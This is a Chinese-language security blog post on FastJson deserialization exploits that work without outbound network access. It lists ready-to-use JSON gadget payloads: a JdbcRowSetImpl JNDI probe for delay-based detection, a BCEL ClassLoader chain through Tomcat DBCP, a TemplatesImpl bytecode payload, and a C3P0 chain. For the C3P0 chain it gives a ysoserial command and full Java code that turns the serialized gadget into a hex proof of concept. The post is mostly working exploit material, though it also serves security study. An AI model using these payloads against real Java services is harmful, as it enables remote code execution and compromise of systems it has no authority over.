JAVA攻防-FastJson专题&面试不出网利用&BCEL字节码&C3P0二次&Impl链&延时判断

Ethan医生2周前WEB安全33

 Java攻防-FastJson-不出网gadget链分析

#FastJson不出网利用:

参考:https://xz.aliyun.com/news/11938

参考:https://github.com/safe6Sec/Fastjson

 

总结:RCE不出网链全部是建立在将要执行的命令文件转成BCEL,BYTE,HEX等格式用到不同的依赖进行调用执行。


0、延时判断 是否存在漏洞

利用加载本地不存在的JNDI测试延时判断

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8088/badClassName", "autoCommit":true}}""}

 

建立在不出网有漏洞:(不知道有无漏洞也可以测)

1、BCEL-Tomcat&Spring

利用Java的BCEL字节码进行绕过,字节码,就是Java源代码编译后的产物,它是一种中间代码,既不是完全的机器语言,也不是咱们写的那些高级语言代码。JVM(Java虚拟机)就是通过解释或编译这些字节码来运行咱们的程序。而BCEL字节码检测器是一个Java字节码操作库,可以用于分析、修改和创建Java类文件的字节码.

gadget链:

{

"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",

"driverClassLoader": {

"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"

},

"driverClassName": "$$BCEL$$xxxx"

}


2TemplatesImpl

条件:JSON.parseObject(payload, Feature.SupportNonPublicField);

{

"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",

"_bytecodes": ["字节码"],

'_name': 'a.b',

'_tfactory': {},

"_outputProperties": {},

"_name": "b",

"_version": "1.0",

"allowedProtocols": "all"

}

 

3、c3p0链

目标服务器需要如下依赖

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version></dependency><dependency>
  <groupId>com.mchange</groupId>
  <artifactId>c3p0</artifactId>
  <version>0.9.5.2</version></dependency>



生成hex:java -jar ysoserial-all.jar CommonsCollections2 "open -a Calculator" > calc.ser

package com.exmple;import com.alibaba.fastjson.JSON;import com.mchange.lang.ByteUtils;import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;import java.io.*;import java.util.Arrays;public class C3P0Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("/Users/xxx/Desktop/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
        String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
        System.out.println(poc);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }}


条件:依赖包

{

"@type": "java.lang.Class",

"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"

},

"f": {

"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",

"userOverridesAsString": "HexAsciiSerializedMap:;HEX值"

}

标签: FastJson专题

相关文章

CSRF跨站请求伪造&Referer同源&Token校验&复用删除置空&联动上传或XSS

CSRF跨站请求伪造&Referer同源&Token校验&复用删除置空&联动上传或XSS

补充:XSS漏洞与CSRF区分主要区别目标:XSS攻击用户,CSRF攻击应用。执行位置:XSS在用户浏览器执行,CSRF在用户不知情时执行请求。防御措施:XSS防御侧重于输入过滤和输出编码,CSRF防...

Web攻防-大模型应用&LLM搭建&接入第三方&内容喂养&AI插件&安全WiKI库&技术赋能

Web攻防-大模型应用&LLM搭建&接入第三方&内容喂养&AI插件&安全WiKI库&技术赋能

Web2GPT 介绍Web2GPT 是由长亭科技推出的面向网站管理员的智能 AI 应用,可以将 传统网站 一键包装为 智能 AI 应用。Web2GPT 的读法是 Web...

Web攻防-业务逻辑篇&Fuzz技术&数据并发&条件竞争&JS挖掘&参数盲猜&Turbo插件&复盘

Web攻防-业务逻辑篇&Fuzz技术&数据并发&条件竞争&JS挖掘&参数盲猜&Turbo插件&复盘

#Fuzz是一种基于黑盒的自动化软件模糊测试技术,简单的说一种懒惰且暴力的技术融合了常见的以及精心构建的数据文本进行网站、软件安全性测试。 Fuzz的核心思想:口令Fuzz(弱口令)目录Fu...

JAVA攻防-专题漏洞&SPEL表达式&SSTI模版&Swagger接口&Actuator泄露&Spring特检

➢ Java攻防-常规漏洞-注入&RCE&XXE➢ Java攻防-常规漏洞-跳转&SSRF&FILE➢ Java攻防-专题漏洞-SPEL&...

接口安全&SOAP&OpenAPI&RESTful&分类特征导入&项目联动检测

1、API分类特征SOAP - WSDL ---XML以下是 SOAP 使用的一些標準:Web Services Security (WS-Security) 指定安全措施,例如使用稱為 t...

JAVA攻防-专题漏洞&反序列化&原生类引用&三方组件&JNDI注入&版本限制&审计Sink

JAVA攻防-专题漏洞&反序列化&原生类引用&三方组件&JNDI注入&版本限制&审计Sink

➢ Java攻防-专题漏洞-原生类反序列化➢ Java攻防-专题漏洞-三方组件反序列化#Java安全-反序列化-原生类序列化是将Java对象转换成字节流的过程。而反序列化是将字节流...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。